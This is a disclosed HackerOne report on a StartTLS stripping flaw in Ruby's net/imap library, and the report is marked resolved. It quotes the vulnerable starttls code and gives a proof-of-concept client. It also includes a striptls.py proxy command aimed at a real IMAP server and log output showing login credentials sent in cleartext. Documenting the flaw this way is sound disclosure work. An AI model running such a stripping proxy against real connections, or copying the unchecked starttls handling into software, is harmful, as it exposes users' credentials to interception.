imap: StartTLS stripping attack (CVE-2016-0772).

Disclosed: 2021-07-08 15:34:20 By sighook To ruby
Medium
Vulnerability Details
`net/imap` does not seem to raise an exception when the remote end (imap server) fails to respond with `tagged_response` (NO/BAD) or `OK` to an explicit call of `imap.starttls`. This may allow a malicious MITM to perform a starttls stripping attack if the client code does not explicitly set `usessl = true` on ` initialize` where it is disabled by default: it is rarely done as one might expect that `starttls` raises an exception when starttls negotiation fails (like when using `usessl` on a server that does not support it or when it fails to negotiate tls due to an ssl exception/cipher mismatch/auth fail). The vulnerable code: ```ruby def starttls(options = {}, verify = true) send_command("STARTTLS") do |resp| if resp.kind_of?(TaggedResponse) && resp.name == "OK" begin # for backward compatibility certs = options.to_str options = create_ssl_params(certs, verify) rescue NoMethodError end start_tls_session(options) end # <--- End of handling :) end end ``` # PoC For instance, we have the following client code: ```ruby require 'net/imap' imap = Net::IMAP.new('0.0.0.0', 9999) imap.starttls imap.login('myLOGIN','myPASSWORD') # test login #imap.authenticate('LOGIN', 'joe_user', 'joes_password') # test auth imap.disconnect ``` Start the proxy: `python striptls.py -l 0.0.0.0:9999 -r imap.yandex.ru:143 -x IMAP.StripWithError` (See `striptls.py` in attachments). Proxy output: ```bash $ python striptls.py -l 0.0.0.0:9999 -r imap.yandex.ru:143 -x IMAP.StripWithError 2021-04-28 18:43:27,286 - INFO - <Session 0x7fd5850b3c10> client ('127.0.0.1', 39154) has connected 2021-04-28 18:43:27,286 - INFO - <Session 0x7fd5850b3c10> connecting to target ('imap.yandex.ru', 143) 2021-04-28 18:43:27,347 - DEBUG - <Session 0x7fd5850b3c10> [client] <= [server] '* OK Yandex IMAP4rev1 at myt3-8d2078fedea5.qloud-c.yandex.net:143 ready to talk with ::ffff:188.138.209.162:62549, 2021-Apr-28 18:43:52, qheZ7J3friE1\r\n' 2021-04-28 18:43:27,348 - DEBUG - <RewriteDispatcher - changed mangle: __main__.StripWithError new: True> 2021-04-28 18:43:27,348 - DEBUG - <Session 0x7fd5850b3c10> [client] => [server] 'RUBY0001 STARTTLS\r\n' 2021-04-28 18:43:27,349 - DEBUG - <Session 0x7fd5850b3c10> [client] <= [server][mangled] 'RUBY0001 BUG unhandled command\r\n' 2021-04-28 18:43:27,349 - DEBUG - <Session 0x7fd5850b3c10> [client] => [server][mangled] None 2021-04-28 18:43:27,349 - DEBUG - <Session 0x7fd5850b3c10> [client] => [server] 'RUBY0002 LOGIN myLOGIN myPASSWORD\r\n' ... ``` As you can see, `starttls` did not return any error to the client and `LOGIN` authentication started. `AUTH` is the same: ``` 2021-04-28 18:47:00,579 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] 'RUBY0001 STARTTLS\r\n' 2021-04-28 18:47:00,579 - DEBUG - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] 'RUBY0001 BUG unhandled command\r\n' 2021-04-28 18:47:00,579 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None 2021-04-28 18:47:00,579 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] 'RUBY0002 AUTHENTICATE' 2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] ' LOGIN\r\n' 2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] '+\r\n' 2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None 2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] 'am9lX3VzZXI=\r\n' 2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] '+ UGFzc3dvcmQ6\r\n' 2021-04-28 18:47:00,580 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None 2021-04-28 18:47:00,581 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] 'am9lc19wYXNzd29yZA==\r\n' 2021-04-28 18:47:00,581 - DEBUG - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] '+ UGFzc3dvcmQ6\r\n' 2021-04-28 18:47:00,581 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None 2021-04-28 18:47:00,581 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] 'am9lc19wYXNzd29yZA==\r\n' 2021-04-28 18:47:00,581 - DEBUG - <Session 0x7fd5850b3dd0> [client] <= [server][mangled] '+ UGFzc3dvcmQ6\r\n' 2021-04-28 18:47:00,581 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server][mangled] None 2021-04-28 18:47:00,582 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] 'am9lc19wYXNzd29yZA==' 2021-04-28 18:47:00,582 - DEBUG - <Session 0x7fd5850b3dd0> [client] => [server] '\r\n' 2021-04-28 18:47:00,635 - DEBUG - <Session 0x7fd5850b3dd0> [client] <= [server] 'RUBY0002 BAD Command syntax error. sc=PleRNJ32YGk1_281547_4-d4596b06cae3\r\n' ``` I set the same CVSS as CVE-2016-0772 has. ## Impact Allows man-in-the-middle attackers to bypass the TLS protections by leveraging a network position between the client and the registry to block the StartTLS command, aka a "StartTLS stripping attack."
Actions
View on HackerOne
Report Stats
  • Report ID: 1178562
  • State: Closed
  • Substate: resolved
  • Upvotes: 10
Share this report